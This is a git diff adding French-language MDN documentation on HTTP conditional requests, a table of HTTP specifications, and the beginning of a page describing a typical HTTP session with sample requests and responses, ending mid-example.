id="Validateurs">Validateurs</h2> + +<p>Toutes les en-têtes conditionnelles vérifient si la ressource stockée sur le serveur correspond à une version spécifique. Pour accomplir ceci, la requête conditionnelle doit préciser la version de la ressource car comparer l'ensemble bit à bit n'est pas faisable et pas toujours désiré non plus. La requête transmet une valeur qui caractérise la version. Ces valeurs sont appelées validateurs et il y en a de deux sortes :</p> + +<ul> + <li>La date de dernière modification du document, la dernière date modifiée.</li> + <li>une chaîne de caractére sans signification particulière identifiant uniquement chaque version. On l'appelle "étiquette d'entité" ou "etag".</li> +</ul> + +<p>Comparer les versions d'une même ressource est un peu délicat : en fonction du contexte, il y a deux sortes de vérification d'équivalence :</p> + +<ul> + <li><em>Une validation forte </em>est utilisée quand une vérification bit à bit est demandé, par exemple pour reprendre un téléchargement.</li> + <li><em>Une validation faible </em>est utilisée quand l'agent-utilisateur doit seulement déterminer si deux ressources ont le même contenu. Ils sont égaux même s'ils ont des différences minimes comme des publicités différentes ou un pied de page (footer) avec une date différente.</li> +</ul> + +<p>La sorte de la vérification est indépendante du validateur utilisé. {{HTTPHeader("Last-Modified")}} et {{HTTPHeader("ETag")}} permettent les deux tupes de validation bien que la complexité d'implémentation côté serveur soit variable. HTTP se sert de la validation forte par défaut et spécifie quand la validation faible peut être employée.</p> + +<h3 id="Validation_forte">Validation forte</h3> + +<p id="sect1">La validation forte consiste à garantir que la ressource est identique à celle à laquelle elle est comparée, au bit prés. C'est obligatoire pour certaines en-têtes et le défaut pour les autres. La validation forte est stricte et peut être difficile à garantir côté serveur mais cela garantit qu'à aucun moment une donnée n'est perdu, parfois au détriment de la performance.</p> + +<p>Il est assez difficile d'avoir un identifiant unique pour la validation forte avec {{HTTPHeader("Last-Modified")}}. On le fait souvent en employant une {{HTTPHeader("ETag")}} avec le hachage MD5 de la ressource(ou un dérivé).</p> + +<h3 id="Validation_faible">Validation faible</h3> + +<p>La validation faible différe de la validation forte car elle considère que deux versions du document ayant le même contenu sont équivalentes. Par exemple, une page qui différerait d'une autre seulement par sa date dans le pied de page ou une publicité, sera considérée identique à l'autre avec la validation faible. Ces mêmes deux versions seront évaluées comme étant différentes avec la validation forte. Construire un système d'ETags pour la validation faible peut être complexe car cela induit de connaître l'importance des différents éléments de la page mais est trés utile dans le but d'optimiser les performances du cache.</p> + +<h2 id="En-têtes_conditionnelles">En-têtes conditionnelles</h2> + +<p>Plusieurs en-têtes HTTP, appelées en-têtes conditionelles, apportent des conditions aux reques. Ce sont :</p> + +<dl> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Succés si la {{HTTPHeader("ETag")}} de la ressource distante est égale à une de celles listées dans cette en-tête. Par défaut, à moins que l'etag soit préfixée <code>'W/'</code>, c'est une validation forte. it performs a strong validation.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Succés si la {{HTTPHeader("ETag")}} de la ressource distante est différente de toutes celles listées dans l'en-tête. Par défaut, à moins que l'etag soit préfixée <code>'W/'</code>, c'est une validation forte.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus récente que celle donnée dans l'en-tête.</dd> + <dd></dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Succés si la date {{HTTPHeader("Last-Modified")}} de la ressource distante est plus ancienne ou égale à celle donnée dans l'en-tête.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Similaire à {{HTTPHeader("If-Match")}}, ou {{HTTPHeader("If-Unmodified-Since")}}, mais peut n'avoir qu'une seule etag, ou une date. Si ça ne colle pas, la requête est rejetée et à la place d'un statut de réponse {{HTTPStatus("206")}} <code>Partial Content</code> , un {{HTTPStatus("200")}} <code>OK</code> est envoyé avec la totlité de la ressource.</dd> +</dl> + +<h2 id="Cas_d'utilisation">Cas d'utilisation</h2> + +<h3 id="Mise_à_jour_du_Cache">Mise à jour du Cache</h3> + +<p>Le cas d'utilisation le plus commun pour les requêtes conditionnelles est la mise à jour du cache. Avec un cache vide ou absent, la ressource demandée est renvoyée avec un statut {{HTTPStatus("200")}} <code>OK</code>.</p> + +<p><img alt="The request issued when the cache is empty triggers the resource to be downloaded, with both validator value sent as headers. The cache is then filled." src="https://mdn.mozillademos.org/files/13729/Cache1.png" style="height: 265px; width: 741px;"></p> + +<p>Dans la ressource les validateurs sont renvoyés dans les en-têtes. Dans cet exemple, deux validateurs {{HTTPHeader("Last-Modified")}} et {{HTTPHeader("ETag")}} sont envoyés mais il pourrait tout aussi bien n'y en avoir qu'un. Ces validateurs sont en cache avec la ressource (comme toutes les en-têtes) et seront utilisés pour embarquer les requêtes conditionnelles quand le cache est périmé.</p> + +<p>Tant que le cache n'est pas obsolète, aucune requête n'esst publiée. Mais une fois qu'il est dépassé, il est principalement contrôlé par l'en-tête {{HTTPHeader("Cache-Control")}} , le client n'utilise pas directement la valeur en cache mais publie une requête conditionnelle. La valeur du validateur est employé comme paramètre des en-têtes {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Match")}}.</p> + +<p>Si la ressource n'a pas changé, le serveur renvoie une réponse {{HTTPStatus("304")}} <code>Not Modified</code>. Cela rafraîchit le cache et le client peut se servir de la valeur en cache. Bien qu'il y ait un aller-retour requête-réponse qui consomme quelques ressources, cette méthode est plus efficace que de transmettre à nouveau la totalité de la ressource via le réseau.</p> + +<p><img alt="With a stale cache, the conditional request is sent. The server can determine if the resource changed, and, as in this case, decide not to send it again as it is the same." src="https://mdn.mozillademos.org/files/13731/HTTPCache2.png" style="height: 265px; width: 741px;"></p> + +<p>Si la ressource n'a pas changée, le serveur renvoie juste une réponse {{HTTPStatus("200")}}<code> OK</code> avec la nouvelle version de la ressource comme si la requête n'était pas conditionnelle et le client utilise cette nouvelle ressource et la met en cache.</p> + +<p><img alt="In the case where the resource was changed, it is sent back as if the request wasn't conditional." src="https://mdn.mozillademos.org/files/13733/HTTPCache3.png"></p> + +<p>De plus, la configuration des validateurs côté serveur est totalement transparente : tous les navigateurs gèrent un cache et envoient de telles requêtes conditionnelles sans que cela ne nécessite de travail supplémentaire de la part du développeur.</p> + +<h3 id="Intégrité_d'un_téléchargement_partiel">Intégrité d'un téléchargement partiel</h3> + +<p>Un téléchargement partiel de fichiers est une fonctionnalité de HTTP qui permet de reprendre des opérations en cours en économisant de la bande passante et du temps en conservant les données déjà reçues :</p> + +<p><img alt="A download has been stopped and only partial content has been retrieved." src="https://mdn.mozillademos.org/files/16190/HTTPResume1.png" style="height: 397px; width: 764px;"></p> + +<p>Un serveur qui supporte le téléchargement partiel le diffuse en envoyant une en-tête {{HTTPHeader("Accept-Ranges")}}. Quand il la reçoit, le client peut reprendre le téléchargement en envoyant une en-tête de requête {{HTTPHeader("Ranges")}} avec les données manquantes :</p> + +<p><img alt="The client resumes the requests by indicating the range he needs and preconditions checking the validators of the partially obtained request." src="https://mdn.mozillademos.org/files/13737/HTTPResume2.png"></p> + +<p>Le principe est simple mais il y a un problème potentiel : si la ressource téléchargée a été modifiée entre deux téléchargements, les données reçues correspondront à deux versions différentes de la ressource et le fichier final sera corrompu. Pour prévenir cela, des en-têtes conditionnelles sont employées. Il y a deux manières de faire : la plus flexible se sert de {{HTTPHeader("If-Modified-Since")}} et de {{HTTPHeader("If-Match")}}, le serveur retourne alors une erreur si la "pré-condition" n'est pas satisfaite et le client reprend le téléchargement depuis le début :</p> + +<p><img alt="When the partially downloaded resource has been modified, the preconditions will fail and the resource will have to be downloaded again completely." src="https://mdn.mozillademos.org/files/13739/HTTPResume3.png"></p> + +<p>Même si cette méthode marche, elle ajoute un échange requête/réponse quand le document a été modifié. Cela impacte la performance et HTTP a prévu une en-tête spécifique pour éviter ce scénario : {{HTTPHeader("If-Range")}}:</p> + +<p><img alt="The If-Range headers allows the server to directly send back the complete resource if it has been modified, no need to send a 412 error and wait for the client to re-initiate the download." src="https://mdn.mozillademos.org/files/13741/HTTPResume4.png" style="height: 263px; width: 770px;"></p> + +<p>Cette solution est plus efficace mais légèrement moins flexible puisqu' une etag seulement peut être utilisée dans la condition. On a rarement besoin d'une telle flexibilité additionnelle.</p> + +<h3 id="Èviter_les_problèmes_de_perte_de_mise_à_jour_avec_le_verrouillage_optimiste">Èviter les problèmes de perte de mise à jour avec le "verrouillage optimiste"</h3> + +<p>Une opération commune des applications web est la mise à jour de document distants. C'est trés usuel dans tout système de fichiers ou dans les applications de contrôle de source et toute application qui permet de stocker des ressources distantes a besoin de ce mécanisme. Les sites comme les wikis et autres CMS s'en servent habituellement.</p> + +<p>Vous pouvez l'implémenter avec la méthode {{HTTPMethod("PUT")}}. Le client lit d'abord les fichiers originaux, les modifie et finalement, les envoie au serveur.</p> + +<p><img alt="Updating a file with a PUT is very simple when concurrency is not involved." src="https://mdn.mozillademos.org/files/13743/HTTPLock1.png"></p> + +<p>Cependant, les choses deviennent un peu moins précises dés que l'on parle de simultanéité des comptes. Pendant qu'un client est en train de modifier localement sa nouvelle copie de la ressource, un second client peut récupérer la même ressource et faire de même avec sa copie. Ce qui arrive ensuite est regrettable : quand ils enregistrent les modifications sur le serveur, celles du premier client sont écartées par l'enregistrement du second client qui n'est pas au courant des changements effectués sur la ressource par le premier client. Le choix qui est fait n'est pas communiqué aux autres protagonistes. Les changements adoptés changeront avec la vitesse d'enregistrement, ce qui dépend de la performance des clients, des serveurs et même de l'humain qui édite le document sur le client. Le "gagnant" changera d'une fois à l'autre. C'est donc une "course des conditions" ({{glossary("race condition")}}) qui conduit à des comportements problématiques difficiles à cerner et à débugger.</p> + +<p><img alt="When several clients update the same resource in parallel, we are facing a race condition: the slowest win, and the others don't even know they lost. Problematic!" src="https://mdn.mozillademos.org/files/13749/HTTPLock2.png" style="height: 504px; width: 904px;"></p> + +<p>Il n'existe aucune manière de gérer ce problème sans ennuyer l'un ou l'autre client. De toutes façons, les mises à jour perdues et la "course des conditions" sont appelées à disparaître. Nous voulons des résultats prévisibles et être notifiés quand les changements sont rejetés.</p> + +<p>Les requêtes conditionnelles permettent d'implémenter l'algorithme de contrôle de concurrence (<em>o</em><em>ptimistic locking algorithm) </em>utilisé par la plupart des wikis ou systèmes de contrôle des sources. Le concept est de permettre au client d'avoir des copies de la ressource, les laisser se modifier localement puis de contrôler la mise en concurrence en autorisant celles du premier client soumettant une mise à jour. Toutes les mises à jour ultèrieures basées sur la version maintenant obsolète sont rejetées :</p> + +<p><img alt="Conditional requests allow to implement optimistic locking: now the quickest wins, and the others get an error." src="https://mdn.mozillademos.org/files/13751/HTTPLock3.png" style="height: 471px; width: 904px;"></p> + +<p>Ce ci est implémenté par les en-têtes {{HTTPHeader("If-Match")}} ou {{HTTPHeader("If-Unmodified-Since")}} . Si l'etag ne correspond pas au fichier original ou si le fichier a été modifié depuis son obtention, le changement est alors simplement rejeté avec une erreur {{HTTPStatus("412")}} <code>Precondition Failed</code>. C'est maintenant à l'initiative du client que se réglera l'erreur : soit en prévenant le client de redémarrer avec la nouvelle version, soit en présentant au client les différences entre les deux versions pour l'aider à choisir les modifications à conserver.</p> + +<h3 id="Gérer_le_premier_téléchargement_d'une_ressource">Gérer le premier téléchargement d'une ressource</h3> + +<p>Le premier téléchargement d'une ressource est un des cas résultant du comportement précédent. Comme toute mise à jour d'une ressource, le téléchargement va faire l'objet d'une "course des conditions" si deux clients essaient un enregistrement au même instant. Pour éviter cela, les en-têtes conditionnelles peuvent être employées : on ajoute {{HTTPHeader("If-None-Match")}} avec la valeur particulière <code>'*'</code>, représentant n'importe quelle etag. La requête aboutira seulement si la ressource n'existait pas avant :</p> + +<p><img alt="Like for a regular upload, the first upload of a resource is subject to a race condition: If-None-Match can prevent it." src="https://mdn.mozillademos.org/files/13753/HTTPFirst.png" style="height: 311px; width: 895px;"></p> + +<p><code>If-None-Match</code> fonctionnera seulement avec les serveurs compatibles HTTP/1.1 (et postérieur). Si vous n'êtes pas sûr que le serveur le soit, vous devez d'abord envoyer une requête {{HTTPMethod("HEAD")}} à la ressource pour vérifier.</p> + +<h2 id="Conclusion">Conclusion</h2> + +<p>Les requêtes conditionnelles sont une fonctionnalité essentielle d'HTTP et permettent la construction d'applications efficaces et complexes. Pour le cache et la reprise des téléchargements, la seule obligation du webmaster est de configurer le serveur correctement, en paramètrant les bonnes etags : dans certains environnements, c'est un véritable défi. Une fois cela fait, le serveur renverra les requêtes conditionnelles adaptées.</p> + +<p>Pour verrouiller ces dispositifs, c'est l'inverse : les développeurs web devront publier une requête avec les en-têtes appropriées tandis que les webmasters peuvent en général se fier à l'application pour effectuer ces vérifications.</p> + +<p>Dans les deux cas, c'est clair, les requêtes conditionnelles sont une des fonctionnalités essentielles du Web.</p> diff --git a/files/fr/web/http/resources_and_specifications/index.html b/files/fr/web/http/resources_and_specifications/index.html new file mode 100644 index 0000000000..5e1b2dc494 --- /dev/null +++ b/files/fr/web/http/resources_and_specifications/index.html @@ -0,0 +1,268 @@ +--- +title: Ressources et spécifications sur HTTP +slug: Web/HTTP/Resources_and_specifications +tags: + - Guide + - HTTP +translation_of: Web/HTTP/Resources_and_specifications +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP a été spécifié pour la première fois au début des années 1990. Conçu dans un souci d'extensibilité, il a fait l'objet de nombreux ajouts au fil des ans, ce qui a entraîné la dispersion de sa spécification dans de nombreux documents de spécification (au milieu d'extensions expérimentales abandonnées). Cette page répertorie les ressources pertinentes sur HTTP.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + <th scope="col">Statut</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{rfc(7230)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7231)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7232)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7233)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7234)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(5861)}}</td> + <td>HTTP Cache-Control Extensions for Stale Content</td> + <td>Information</td> + </tr> + <tr> + <td>{{rfc(8246)}}</td> + <td>HTTP Immutable Responses</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7235)}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(6265)}}</td> + <td>HTTP State Management Mechanism<br> + <em>Defines Cookies</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00">Draft spec</a></td> + <td>Cookie Prefixes</td> + <td>IETF Draft</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00">Draft spec</a></td> + <td>Same-Site Cookies</td> + <td>IETF Draft</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-cookie-alone-01">Draft spec</a></td> + <td>Deprecate modification of 'secure' cookies from non-secure origins</td> + <td>IETF Draft</td> + </tr> + <tr> + <td>{{rfc(2145)}}</td> + <td>Use and Interpretation of HTTP Version Numbers</td> + <td>Information</td> + </tr> + <tr> + <td>{{rfc(6585)}}</td> + <td>Additional HTTP Status Codes</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7538)}}</td> + <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7725)}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + <td>En cours de normalisation</td> + </tr> + <tr> + <td>{{rfc(2397)}}</td> + <td>The "data" URL scheme</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(3986)}}</td> + <td>Uniform Resource Identifier (URI): Generic Syntax</td> + <td>Standard Internet</td> + </tr> + <tr> + <td>{{rfc(5988)}}</td> + <td>Web Linking<br> + <em>Defines the {{HTTPHeader("Link")}} header</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html">Experimental spec</a></td> + <td>Hypertext Transfer Protocol (HTTP) Keep-Alive Header</td> + <td>Information (Expirée)</td> + </tr> + <tr> + <td><a href="http://httpwg.org/http-extensions/client-hints.html">Draft spec</a></td> + <td>HTTP Client Hints</td> + <td>IETF Draft</td> + </tr> + <tr> + <td>{{rfc(7578)}}</td> + <td>Returning Values from Forms: multipart/form-data</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(6266)}}</td> + <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(2183)}}</td> + <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field<br> + <em>Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages.</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7239)}}</td> + <td>Forwarded HTTP Extension</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(6455)}}</td> + <td>The WebSocket Protocol</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(5246)}}</td> + <td>The Transport Layer Security (TLS) Protocol Version 1.2<br> + <em>This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol.</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(8446)}}</td> + <td>The Transport Layer Security (TLS) Protocol Version 1.3<br> + <em>Supersedes TLS 1.2.</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(2817)}}</td> + <td>Upgrading to TLS Within HTTP/1.1</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7540)}}</td> + <td>Hypertext Transfer Protocol Version 2 (HTTP/2)</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(7541)}}</td> + <td>HPACK: Header Compression for HTTP/2</td> + <td>En cours de normalisation</td> + </tr> + <tr> + <td>{{rfc(7838)}}</td> + <td>HTTP Alternative Services</td> + <td>En cours de normalisation</td> + </tr> + <tr> + <td>{{rfc(7301)}}</td> + <td>Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension<br> + <em>Used to negotiate HTTP/2 at the transport to save an extra request/response round trip.</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(6454)}}</td> + <td>The Web Origin Concept</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>Cross-Origin Resource Sharing</td> + <td>{{Spec2("Fetch")}}</td> + </tr> + <tr> + <td>{{rfc(7034)}}</td> + <td>HTTP Header Field X-Frame-Options</td> + <td>Information</td> + </tr> + <tr> + <td>{{rfc(6797)}}</td> + <td>HTTP Strict Transport Security (HSTS)</td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{SpecName("Upgrade Insecure Requests")}}</td> + <td>Upgrade Insecure Requests</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + </tr> + <tr> + <td>{{SpecName("CSP 1.0")}}</td> + <td>Content Security Policy 1.0<br> + <em>CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard</em></td> + <td>{{Spec2("CSP 1.0")}}</td> + </tr> + <tr> + <td><a href="https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx">Microsoft document</a></td> + <td>Specifying legacy document modes*<br> + <em>Defines X-UA-Compatible</em></td> + <td>Note</td> + </tr> + <tr> + <td>{{rfc(5689)}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)<br> + <em>These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays.</em></td> + <td>Proposition de norme</td> + </tr> + <tr> + <td>{{rfc(2324)}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)</td> + <td>Spec blague du 1er avril</td> + </tr> + <tr> + <td>{{rfc(7168)}}</td> + <td>The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)</td> + <td>Spec blague du 1er avril</td> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG")}}</td> + <td>HTML<br> + <em>Defines extensions of HTTP for Server-Sent Events</em></td> + <td>{{Spec2("HTML WHATWG")}}</td> + </tr> + <tr> + <td><a href="https://www.w3.org/2011/tracking-protection/drafts/tracking-dnt.html">Tracking Preference Expression</a></td> + <td>DNT header</td> + <td>Editor's draft / Candidate recommendation</td> + </tr> + <tr> + <td><a href="http://wicg.github.io/reporting/">Reporting API</a></td> + <td><code>Report-To</code> header</td> + <td>Draft</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-01">Draft spec</a></td> + <td>Expect-CT Extension for HTTP</td> + <td>IETF Draft</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/session/index.html b/files/fr/web/http/session/index.html new file mode 100644 index 0000000000..d0a0d231de --- /dev/null +++ b/files/fr/web/http/session/index.html @@ -0,0 +1,167 @@ +--- +title: Une session HTTP typique +slug: Web/HTTP/Session +tags: + - HTTP + - Session + - Session HTTP +translation_of: Web/HTTP/Session +--- +<div>{{HTTPSidebar}}</div> + +<p>Dans les protocoles client-serveur, comme HTTP, les sessions se composent de trois phases :</p> + +<ol> + <li><span id="result_box" lang="fr"><span>Le client établit une connexion TCP (ou la connexion appropriée si la couche de transport n'est pas TCP).</span></span></li> + <li><span class="short_text" id="result_box" lang="fr"><span>Le client envoie sa requête et attend la réponse.</span></span></li> + <li><span id="result_box" lang="fr"><span>Le serveur traite la requête, renvoyant sa réponse, fournissant un code d'état et des données appropriées.</span></span></li> +</ol> + +<p><span id="result_box" lang="fr"><span>À partir de HTTP / 1.1, la connexion n'est plus fermée après avoir terminé la troisième phase, et le client peut à nouveau effectuer une requête : cela signifie que la deuxième et la troisième phases peuvent maintenant être effectuées à tout moment.</span></span></p> + +<h2 id="Établir_une_connexion"><span class="short_text" id="result_box" lang="fr"><span>Établir une connexion</span></span></h2> + +<p><span id="result_box" lang="fr"><span>Dans les protocoles client-serveur, c'est le client qui établit la connexion.</span> <span>L'ouverture d'une connexion en HTTP signifie l'initiation d'une connexion dans la couche de transport sous-jacente, généralement TCP.</span></span></p> + +<p><span id="result_box" lang="fr"><span>Avec TCP, le port par défaut, pour un serveur HTTP sur un ordinateur, est le port 80. D'autres ports peuvent également être utilisés, comme 8000 ou 8080. L'URL d'une page à récupérer contient à la fois le nom de domaine et le numéro de port,</span> <span>Ce dernier peut être omis s'il en est à 80. Voir </span></span><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web">Identifying resources on the Web</a> pour plus de details.</p> + +<div class="note"><strong>Note:</strong> <span id="result_box" lang="fr"><span>Le modèle client-serveur n'autorise pas le serveur à envoyer des données au client sans une demande explicite.</span> <span>Pour contourner ce problème, les développeurs Web utilisent plusieurs techniques: effectuer un ping sur le serveur périodiquement via le</span></span> {{domxref("XMLHTTPRequest")}}, {{domxref("Fetch")}} <span class="short_text" id="result_box" lang="fr"><span>API, en utilisant le HTML</span></span> <a href="/fr/WebSockets" title="en/WebSockets">WebSockets API</a>, <span class="short_text" id="result_box" lang="fr"><span>ou des protocoles similaires.</span></span></div> + +<h2 id="Envoi_d'une_demande_client"><span class="short_text" id="result_box" lang="fr"><span>Envoi d'une demande client</span></span></h2> + +<p><span id="result_box" lang="fr"><span>Une fois la connexion établie, l'agent utilisateur peut envoyer la demande (un agent utilisateur est généralement un navigateur Web, mais peut être autre chose, un robot d'exploration, par exemple).</span> <span>Une demande de client consiste en des directives de texte, séparées par CRLF (retour de chariot, suivi d'une alimentation en ligne), divisé en trois blocs :</span></span></p> + +<ol> + <li><span id="result_box" lang="fr"><span>La première ligne contient une méthode de demande suivie de ses paramètres:</span></span> + + <ul> + <li><span id="result_box" lang="fr"><span>le chemin d'accès du document, c'est-à-dire une URL absolue sans le protocole ou le nom de domaine</span></span></li> + <li><span class="short_text" id="result_box" lang="fr"><span>la version du protocole HTTP</span></span></li> + </ul> + </li> + <li><span id="result_box" lang="fr"><span>Les lignes subséquentes représentent un en-tête HTTP, ce qui donne aux informations du serveur quel type de données est approprié (par exemple, quelle langue, quels types MIME) ou d'autres données modifient son comportement (par exemple, ne pas envoyer de réponse s'il est déjà mis en cache).</span> <span>Ces en-têtes HTTP forment un bloc qui se termine par une ligne vide.</span></span></li> + <li><span id="result_box" lang="fr"><span>Le bloc final est un bloc de données facultatif, qui peut contenir d'autres données principalement utilisées par la méthode POST.</span></span></li> +</ol> + +<h3 id="Demandes_d'exemple"><span class="short_text" id="result_box" lang="fr"><span>Demandes d'exemple</span></span></h3> + +<p><span id="result_box" lang="fr"><span>Obtenir la page racine de developer.mozilla.org, c'est-à-dire <a href="https://developer.mozilla.org">http://developer.mozilla.org/</a>, et dire au serveur que l'utilisateur-agent préférerait la page en français si possible :</span></span></p> + +<pre>GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr + +</pre> + +<p><span id="result_box" lang="fr"><span>Observez cette dernière ligne vide, ceci sépare le bloc de données du bloc d'en-tête.</span> <span>Comme il n'y a pas de</span></span> <code>Content-Length</code> <span id="result_box" lang="fr"><span>fourni dans un en-tête HTTP, ce bloc de données est présenté vide, marquant la fin des en-têtes, permettant au serveur de traiter la demande le moment où elle reçoit cette ligne vide.</span></span></p> + +<p><span id="result_box" lang="fr"><span>Par exemple, en envoyant le résultat d'un formulaire :</span></span></p> + +<pre>POST /contact_form.php HTTP/1.1 +Host: developer.mozilla.org +Content-Length: 64 +Content-Type: application/x-www-form-urlencoded + +name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue +</pre> + +<h3 id="Méthodes_de_demande"><span class="short_text" id="result_box" lang="fr"><span>Méthodes de demande</span></span></h3> + +<p>HTTP définit un ensemble de <a href="/fr/docs/HTTP/Méthode">méthodes de requête</a> indiquant l'action souhaitée à effectuer sur une ressource. Bien qu'ils puissent également être des noms, ces méthodes de requêtes sont parfois appelées verbes HTTP. Les requêtes les plus courantes sont <code>GET</code> et <code>POST</code> :</p> + +<ul> + <li><span id="result_box" lang="fr"><span>La méthode {{HTTPMethod ("GET")}} demande une représentation de données de la ressource spécifiée.</span> <span>Les requêtes utilisant <code>GET</code> ne doivent que récupérer les données.</span></span></li> + <li><span id="result_box" lang="fr"><span>La méthode {{HTTPMethod ("POST")}} envoie des données à un serveur afin qu'il puisse changer son état.</span> <span>C'est la méthode souvent utilisée pour les <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaires HTML</a>.</span></span></li> +</ul> + +<h2 id="Structure_d'une_réponse_du_serveur">Structure d'une réponse du serveur</h2> + +<p>Une fois que l'agent connecté a envoyé sa requête, le serveur Web le traite et finalement renvoie une réponse. Similaire à une demande de client, une réponse de serveur est formée de directives de texte, séparées par <a href="/fr/docs/Glossaire/CRLF">CRLF</a>, mais divisées en trois blocs :</p> + +<ol> + <li> + <div id="gt-res-content"> + <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="fr"><span>La première ligne, <em>la ligne d'état</em>, consiste en une reconnaissance de la version HTTP utilisée, suivie d'une demande d'état (et sa brève signification dans un texte lisible par l'homme).</span></span></div> + </div> + </li> + <li><span id="result_box" lang="fr"><span>Les lignes suivantes représentent des en-têtes HTTP spécifiques, en donnant aux clients des informations sur les données envoyées (par exemple, type, taille de données, algorithme de compression utilisé, conseils sur la mise en cache).</span> <span>De la même manière que le bloc d'en-têtes HTTP pour une demande de client, ces en-têtes HTTP forment un bloc se terminant par une ligne vide.</span></span></li> + <li><span id="result_box" lang="fr"><span>Le dernier bloc est un bloc de données, qui contient les données facultatives.</span></span></li> +</ol> + +<h3 id="Examples_de_réponses">Examples de réponses</h3> + +<p><span class="short_text" id="result_box" lang="fr"><span>Réponse réussie de la page Web :</span></span></p> + +<pre>HTTP/1.1 <strong>200 OK</strong> +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... <em><strong>(here comes the 29769 bytes of the requested web page)</strong></em> + +</pre> + +<p><span id="result_box" lang="fr"><span>Notification selon laquelle la ressource demandée a été définitivement déplacé ( en permanence ) :</span></span></p> + +<pre>HTTP/1.1 <strong>301 Moved Permanently</strong> +Server: Apache/2.2.3 (Red Hat) +Content-Type: text/html; charset=iso-8859-1 +Date: Sat, 09 Oct 2010 14:30:24 GMT +Location: <a class="linkification-ext" href="../../../../" title="Linkification: https://developer.mozilla.org/">https://developer.mozilla.org/</a> <strong><em>(this is the</em><em> new link to the resource; it is expected that the user-agent will fetch it)</em></strong> +Keep-Alive: timeout=15, max=98 +Accept-Ranges: bytes +Via: Moz-Cache-zlb05 +Connection: Keep-Alive +X-Cache-Info: caching +X-Cache-Info: caching +Content-Length: 325 <em>(<strong>the content contains a default page to display if the user-agent is not able to follow the link)</strong></em> + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 